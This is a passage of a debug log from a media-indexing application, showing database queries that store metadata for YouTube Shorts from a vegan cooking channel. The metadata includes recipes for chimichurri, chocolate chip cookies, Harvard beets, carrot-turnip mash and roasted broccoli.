~U[2022-12-20 17:57:48Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I made this bomb #oilfree chimichurri sauce with rescued produce from my fave @pekoproduce! 🥬 Chimichurri is the *perfect* everything sauce ‘cause you can put it on practically anything! 🌿 Plus its a great way to use up that boatload of fresh parsley that’s waiting to die 💀 in your fridge. \n\n1 packed cup fresh parsley (rescued!)\n1/2 packed cup fresh cilantro\n1 avocado\n2 small green chillies (rescued!)\nJuice of 1/2 lemon (rescued!) \n2-4 cloves garlic, peeled\n1/2 cup diced green onion (rescued!)\n1 tsp dried oregano\n1 tsp smoked paprika\n1/2 tsp salt\n1/4 cup red wine vinegar\n\nAdd all the ingredients, except the lemon juice and the vinegar to your food processor. Process until finely chopped.\nThen transfer the herbs to a bowl or jar and pour in the lime juice and vinegar. Mix well and let rest for 1 hour to blend the flavours. Serve with your favourite grilled foods, use as a dip, spread or condiment! \n\n✅ FOOD SAVING TIP: Save the herb stems and freeze them to make flavourful homemade veggie broth! 🍲 \n\nUse promo code STEAMYVEGANKITCHEN10 at checkout on your first order from @pekoproduce! www.pekoproduce.com OR click that link in my bio, frenzzzz 🍊\n\n#steamyvegankitchen #steamyvegan #pekoproduce #grocerydelivery #cookinghealthy #eatwholefoods #eatwellbewell #sustainablefood #sustainablegroceries #sustainablelife #sustainableshopping #reducewaste #zerowaste #lovefoodhatewaste #thriftymeals #thriftycooking #cheapvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts", 1, 15, false, "CAm1OTLuvjU", "https://www.youtube.com/shorts/CAm1OTLuvjU", "/downloads/downloads/alec/Steamy Vegan/2022-12-20 You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts/You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts [CAm1OTLuvjU].NA", true, ~U[2022-12-20 17:57:48Z]] 20:31:09.918 [debug] QUERY OK source="sources" db=0.5ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.920 [debug] QUERY OK source="media_items" db=2.1ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-19 17:31:21Z], 1] 20:31:09.921 [debug] QUERY OK source="media_items" db=0.8ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is our patent pending, handy dandy, hoser holster, the must have item for all Canadians eh. For those moments when you're chopping wood and need to put your Timmies double double somewhere.\n\nCheck out the full episode here: https://youtu.be/ZVkQc7OurII\n\nLike and subscribe for more weekly taste tests and vegan and gluten free recipe ideas. Thanks for watching eh.\n\n@CBCNews @CBCTheNational @22Minutes", "The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts", "eb97a010-669a-44aa-8c71-0a59ea309032", 1, [], 59, false, "HS6bHaXPpY0", "https://www.youtube.com/shorts/HS6bHaXPpY0", 196, "/downloads/downloads/alec/Steamy Vegan/2022-12-19 The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts/The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts [HS6bHaXPpY0].NA", false, false, true, 1, ~U[2022-12-19 17:31:21Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This is our patent pending, handy dandy, hoser holster, the must have item for all Canadians eh. For those moments when you're chopping wood and need to put your Timmies double double somewhere.\n\nCheck out the full episode here: https://youtu.be/ZVkQc7OurII\n\nLike and subscribe for more weekly taste tests and vegan and gluten free recipe ideas. Thanks for watching eh.\n\n@CBCNews @CBCTheNational @22Minutes", "The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts", 1, 59, false, "HS6bHaXPpY0", "https://www.youtube.com/shorts/HS6bHaXPpY0", "/downloads/downloads/alec/Steamy Vegan/2022-12-19 The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts/The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts [HS6bHaXPpY0].NA", true, ~U[2022-12-19 17:31:21Z]] 20:31:09.923 [debug] QUERY OK source="sources" db=1.4ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.925 [debug] QUERY OK source="media_items" db=2.0ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-01 23:31:09Z], 1] 20:31:09.927 [debug] QUERY OK source="media_items" db=1.5ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["WORLD’S BEST CHOCOLATE CHIP COOKIE! 🍪 Have you been looking for the best vegan chocolate chip cookie recipe? Look no further as WE GOT YOU COVERED with the cookie recipe of your dreams. 😌 \n\nThese Healthy Vegan and Gluten-Free Chocolate Chip Cookies are soft and gooey in the middle, crispy on the edges and have the most buttery 🧈 velvety smooth taste and texture you’ll EVER try. 🤤 They’re also refined sugar free, oil-free, nut-free optional, and made mostly from whole plant foods! 🌱\n\nFULL RECIPE VIDEO ON OUR CHANNEL ➡️ THE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪Oil-free, refined sugar-free, gluten-free\nhttps://youtu.be/6BCUlPOw_Mw\n\nTHE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIES \n1/2 cup creamy nut/seed butter (any variety will work)\n1/4 cup coconut sugar (or brown)\n1/4 cup maple syrup\n1 tsp vanilla extract\n1 flax egg (1 tbsp ground flax seeds + 3 tbsp water, let sit 10 mins)\n2 tbsp almond flour\n1/2 cup + 2 tsp oat flour\n1/2 tsp each baking powder and baking soda\nheaping 1/3 cup vegan chocolate chips OR a mix of raisins and choc chips\n1/4 tsp salt\n\nPreheat oven to 350° F, set oven rack to middle and line a baking sheet with parchment paper or silicone mat.\nIn a large mixing bowl, add the nut/seed butter, coconut sugar, maple syrup, vanilla and flax egg and whisk until its a thick, creamy mixture.\nIn a separate smaller bowl, combine the oat and almond flour, plus the baking powder, soda and salt.\nAdd the dry ingredients into the wet mixture and fold until it forms a very sticky dough. Add your choc chips and raisins until just combined.\nScoop about 2 tbsp sized dollops of dough onto the baking tray, about 2” apart. Try and form them so they’re round-ish. With dampened fingers, gently press into the tops of the cookies to slightly flatten them.\nBake for 10 to 12 minutes, remove from oven and place try on cooling rack. They will seem undercooked but let cool in the pan for 15-20 minutes. They will firm up until they’re perfectly soft with delicately crisped edges. ENJOY!\n\n#steamyvegankitchen #steamyvegan #healthybaking #healthycookies #healthytreats #chocolate #chocolatechip #chocolatechipcookies #veganbaking #food52 #food52grams #food52community #thefeedfeed #thefeedfeedbaking #thefeedfeedvegan #thefeedfeedglutenfree #thefeefeedchocolate #whatscooking", "The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts", "0e333366-984f-4b45-bf57-0ac9239c3a37", 1, [], 59, false, "fUSRzUa5Sp4", "https://www.youtube.com/shorts/fUSRzUa5Sp4", 197, "/downloads/downloads/alec/Steamy Vegan/2022-12-01 The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts/The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts [fUSRzUa5Sp4].NA", false, false, true, 1, ~U[2022-12-01 23:31:09Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "WORLD’S BEST CHOCOLATE CHIP COOKIE! 🍪 Have you been looking for the best vegan chocolate chip cookie recipe? Look no further as WE GOT YOU COVERED with the cookie recipe of your dreams. 😌 \n\nThese Healthy Vegan and Gluten-Free Chocolate Chip Cookies are soft and gooey in the middle, crispy on the edges and have the most buttery 🧈 velvety smooth taste and texture you’ll EVER try. 🤤 They’re also refined sugar free, oil-free, nut-free optional, and made mostly from whole plant foods! 🌱\n\nFULL RECIPE VIDEO ON OUR CHANNEL ➡️ THE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪Oil-free, refined sugar-free, gluten-free\nhttps://youtu.be/6BCUlPOw_Mw\n\nTHE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIES \n1/2 cup creamy nut/seed butter (any variety will work)\n1/4 cup coconut sugar (or brown)\n1/4 cup maple syrup\n1 tsp vanilla extract\n1 flax egg (1 tbsp ground flax seeds + 3 tbsp water, let sit 10 mins)\n2 tbsp almond flour\n1/2 cup + 2 tsp oat flour\n1/2 tsp each baking powder and baking soda\nheaping 1/3 cup vegan chocolate chips OR a mix of raisins and choc chips\n1/4 tsp salt\n\nPreheat oven to 350° F, set oven rack to middle and line a baking sheet with parchment paper or silicone mat.\nIn a large mixing bowl, add the nut/seed butter, coconut sugar, maple syrup, vanilla and flax egg and whisk until its a thick, creamy mixture.\nIn a separate smaller bowl, combine the oat and almond flour, plus the baking powder, soda and salt.\nAdd the dry ingredients into the wet mixture and fold until it forms a very sticky dough. Add your choc chips and raisins until just combined.\nScoop about 2 tbsp sized dollops of dough onto the baking tray, about 2” apart. Try and form them so they’re round-ish. With dampened fingers, gently press into the tops of the cookies to slightly flatten them.\nBake for 10 to 12 minutes, remove from oven and place try on cooling rack. They will seem undercooked but let cool in the pan for 15-20 minutes. They will firm up until they’re perfectly soft with delicately crisped edges. ENJOY!\n\n#steamyvegankitchen #steamyvegan #healthybaking #healthycookies #healthytreats #chocolate #chocolatechip #chocolatechipcookies #veganbaking #food52 #food52grams #food52community #thefeedfeed #thefeedfeedbaking #thefeedfeedvegan #thefeedfeedglutenfree #thefeefeedchocolate #whatscooking", "The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts", 1, 59, false, "fUSRzUa5Sp4", "https://www.youtube.com/shorts/fUSRzUa5Sp4", "/downloads/downloads/alec/Steamy Vegan/2022-12-01 The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts/The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts [fUSRzUa5Sp4].NA", true, ~U[2022-12-01 23:31:09Z]] 20:31:09.929 [debug] QUERY OK source="sources" db=0.3ms queue=0.8ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.931 [debug] QUERY OK source="media_items" db=1.7ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-28 02:24:54Z], 1] 20:31:09.934 [debug] QUERY OK source="media_items" db=2.4ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ Rich, red and ridiculously yummy! This sweet ‘n sour side is a total knockout 🤤 \n\nHave you ever tried Harvard Beets? Comment your answer below! ⬇️ \n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nHOW TO MAKE HARVARD BEETS\n2 cans whole baby beets\n2/3 cup reserved canned beet liquid\n1/2 cup white vinegar\n3 tbsp coconut sugar (or brown, white)\n3 tbsp vegan butter\n2 tbsp cornstarch or 1.5 tbsp tapioca starch\n1/2 tsp salt\n\nTo a medium sized saucepan, add the reserved beet liquid, vinegar, sugar, starch and butter and bring to a simmer on medium heat, stirring frequently until the starch has dissolved and it begins to thicken. Once bubbling and thickened, add the beets. Stir and let simmer for about 10 minutes until the beets are heated through. Remove from stove, serve and enjoy! (and pour that sauce on EVERYTHING!)\n\nWhat’s your fave side dish that you’d like me to veganize? Let me know! ⬇️\n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #vegansofig #vegansofinstagram #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #feedfeedglutenfree #veganglutenfree #harvardbeets #beets #droppingmadbeets #beetroot", "SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts", "34aec4b6-24bf-4a44-9674-9f65b7a87c92", 1, [], 60, false, "ywt_u78FrnE", "https://www.youtube.com/shorts/ywt_u78FrnE", 198, "/downloads/downloads/alec/Steamy Vegan/2022-11-28 SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts/SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts [ywt_u78FrnE].NA", false, false, true, 1, ~U[2022-11-28 02:24:54Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ Rich, red and ridiculously yummy! This sweet ‘n sour side is a total knockout 🤤 \n\nHave you ever tried Harvard Beets? Comment your answer below! ⬇️ \n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nHOW TO MAKE HARVARD BEETS\n2 cans whole baby beets\n2/3 cup reserved canned beet liquid\n1/2 cup white vinegar\n3 tbsp coconut sugar (or brown, white)\n3 tbsp vegan butter\n2 tbsp cornstarch or 1.5 tbsp tapioca starch\n1/2 tsp salt\n\nTo a medium sized saucepan, add the reserved beet liquid, vinegar, sugar, starch and butter and bring to a simmer on medium heat, stirring frequently until the starch has dissolved and it begins to thicken. Once bubbling and thickened, add the beets. Stir and let simmer for about 10 minutes until the beets are heated through. Remove from stove, serve and enjoy! (and pour that sauce on EVERYTHING!)\n\nWhat’s your fave side dish that you’d like me to veganize? Let me know! ⬇️\n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #vegansofig #vegansofinstagram #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #feedfeedglutenfree #veganglutenfree #harvardbeets #beets #droppingmadbeets #beetroot", "SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts", 1, 60, false, "ywt_u78FrnE", "https://www.youtube.com/shorts/ywt_u78FrnE", "/downloads/downloads/alec/Steamy Vegan/2022-11-28 SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts/SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts [ywt_u78FrnE].NA", true, ~U[2022-11-28 02:24:54Z]] 20:31:09.935 [debug] QUERY OK source="sources" db=0.5ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.937 [debug] QUERY OK source="media_items" db=1.7ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-25 17:05:32Z], 1] 20:31:09.938 [debug] QUERY OK source="media_items" db=1.0ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT 🥕 TURNIP MASH ✨ A holiday classic in my household for years, this yummy mash is the definition of a super simple side dish! \n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nIt’s also perfect for using up old, ‘ugly’ or rescued produce in your fridge! @pekoproduce is my go to for rescued produce that gets a second life! Check out the link in my bio to get $5 off a box of produce delivered right to your door! 📦 \n\nCLASSIC CARROT & TURNIP MASH 🥕🥕\n2 large turnips, peeled and chopped\n5-6 medium carrots, peeled and chopped\n2-3 tbsp vegan butter\n1 tsp poultry seasoning (or any other herb you like)\nsalt to taste\nAdd the chopped turnips and carrots to a large pot, cover with water and boil for 30 minutes, or until fork tender. Drain the water and return to the pot. Add the vegan butter, salt and seasonings and mash until desired consistency. Serve and enjoy!\n\nSave this recipe for later and follow @steamyvegankitchen for more easy and delish plant-based recipes! 🥕🥕\n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #vegansofig #vegansofinstagram #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #feedfeedglutenfree #veganglutenfree #feedfeedvegan #f52grams #f52gram #feedfeed", "SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕", "874873dd-01d0-4156-b911-6ba669d5fb41", 1, [], 57, false, "uKLVJJqtzAY", "https://www.youtube.com/shorts/uKLVJJqtzAY", 199, "/downloads/downloads/alec/Steamy Vegan/2022-11-25 SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕/SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕 [uKLVJJqtzAY].NA", false, false, true, 1, ~U[2022-11-25 17:05:32Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT 🥕 TURNIP MASH ✨ A holiday classic in my household for years, this yummy mash is the definition of a super simple side dish! \n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nIt’s also perfect for using up old, ‘ugly’ or rescued produce in your fridge! @pekoproduce is my go to for rescued produce that gets a second life! Check out the link in my bio to get $5 off a box of produce delivered right to your door! 📦 \n\nCLASSIC CARROT & TURNIP MASH 🥕🥕\n2 large turnips, peeled and chopped\n5-6 medium carrots, peeled and chopped\n2-3 tbsp vegan butter\n1 tsp poultry seasoning (or any other herb you like)\nsalt to taste\nAdd the chopped turnips and carrots to a large pot, cover with water and boil for 30 minutes, or until fork tender. Drain the water and return to the pot. Add the vegan butter, salt and seasonings and mash until desired consistency. Serve and enjoy!\n\nSave this recipe for later and follow @steamyvegankitchen for more easy and delish plant-based recipes! 🥕🥕\n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #vegansofig #vegansofinstagram #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #feedfeedglutenfree #veganglutenfree #feedfeedvegan #f52grams #f52gram #feedfeed", "SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕", 1, 57, false, "uKLVJJqtzAY", "https://www.youtube.com/shorts/uKLVJJqtzAY", "/downloads/downloads/alec/Steamy Vegan/2022-11-25 SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕/SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕 [uKLVJJqtzAY].NA", true, ~U[2022-11-25 17:05:32Z]] 20:31:09.939 [debug] QUERY OK source="sources" db=0.6ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.942 [debug] QUERY OK source="media_items" db=2.4ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-24 16:53:18Z], 1] 20:31:09.944 [debug] QUERY OK source="media_items" db=1.1ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 If you can’t get your kids to eat broccoli, I promise this will be a total game changer for you!\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nCheesy, garlicky and tangy, this broccoli is an umami FLAVOR bomb 💣 7 ingredients to heaven! \n\nTAHINI PARMESAN ROASTED BROCCOLI 🥦 \n2 crowns broccoli, cut into smaller florets (4 to 5 cups)\n3 tbsp tahini\n3 tbsp lemon juice\n2 tbsp tamari or GF soy sauce\n3 cloves garlic, minced\n1/3 cup vegan parmesan cheese\nblack pepper to taste\nPreheat oven to 450°F and set rack to the top. Add all the ingredients, minus broccoli and black pepper to a large mixing bowl and whisk until well combined. Add the broccoli florets and toss until each piece is coated in the sauce. Transfer to a large parchment lined baking tray and spread evenly. Add a few grinds of fresh black pepper and bake for 10 minutes. Remove from the oven quickly and carefully, and sprinkle on the parmesan cheese. Return to oven to bake for a final 3 to 4 minutes until the cheese has melted. Serve, add a squeeze of lemon juice (optional) and enjoy!\n\n#steamyvegankitchen #steamyvegan #food52 #food52gram #thefeedfeed #thefeedfeedvegan #holidayrecipes #veganholidaycooking #plantbased #plantbaseddiet #eatyourveggies #eatplants #eatplantsnotanimals #broccoli #tahini #vegan #veganfood #veganrecipes #veganvancouver #eatvegan #veganeats", "SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts", "54c311a0-a2af-4344-9da9-44b2ad34552c", 1, [], 58, false, "mCiBUmGhUBw", "https://www.youtube.com/shorts/mCiBUmGhUBw", 200, "/downloads/downloads/alec/Steamy Vegan/2022-11-24 SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts/SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts [mCiBUmGhUBw].NA", false, false, true, 1, ~U[2022-11-24 16:53:18Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 If you can’t get your kids to eat broccoli, I promise this will be a total game changer for you!\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nCheesy, garlicky and tangy, this broccoli is an umami FLAVOR bomb 💣 7 ingredients to heaven! \n\nTAHINI PARMESAN ROASTED BROCCOLI 🥦 \n2 crowns broccoli, cut into smaller florets (4 to 5 cups)\n3 tbsp tahini\n3 tbsp lemon juice\n2 tbsp tamari or GF soy sauce\n3 cloves garlic, minced\n1/3 cup vegan parmesan cheese\nblack pepper to taste\nPreheat oven to 450°F and set rack to the top. Add all the ingredients, minus broccoli and black pepper to a large mixing bowl and whisk until well combined. Add the broccoli florets and toss until each piece is coated in the sauce. Transfer to a large parchment lined baking tray and spread evenly. Add a few grinds of fresh black pepper and bake for 10 minutes. Remove from the oven quickly and carefully, and sprinkle on the parmesan cheese. Return to oven to bake for a final 3 to 4 minutes until the cheese has melted. Serve, add a squeeze of lemon juice (optional) and enjoy!\n\n#steamyvegankitchen #steamyvegan #food52 #food52gram #thefeedfeed #thefeedfeedvegan #holidayrecipes #veganholidaycooking #plantbased #plantbaseddiet #eatyourveggies #eatplants #eatplantsnotanimals #broccoli #tahini #vegan #veganfood #veganrecipes #veganvancouver #eatvegan #veganeats", "SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts", 1, 58, false, "mCiBUmGhUBw", "https://www.youtube.com/shorts/mCiBUmGhUBw", "/downloads/downloads/alec/Steamy Vegan/2022-11-24 SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts/SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED 